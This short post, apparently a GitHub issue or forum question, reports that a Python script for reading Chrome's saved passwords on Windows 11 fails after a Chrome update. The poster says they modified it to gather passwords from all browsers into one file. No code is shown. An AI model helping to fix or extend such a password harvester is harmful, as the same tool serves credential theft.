i have python 3.13.1 on windows 11 pro chrome is of course closed to prevent data base lock i tried searching for solutions but i did not find that's why i reached out to you i also tried other github repos because my own code didnt work just to make sure its not my bad coding skills and i tried modifiying the code for a possible later fork i had a little possibility that google changes its parametre since i did the latest google update to be able to use selenium so now its either me the problem or google chrome the rest works normaly. Here's one of my modification not much but i wanted to create a file where all passwords from all browsers are saved orderly.

   # then here i added more code for a project ect....
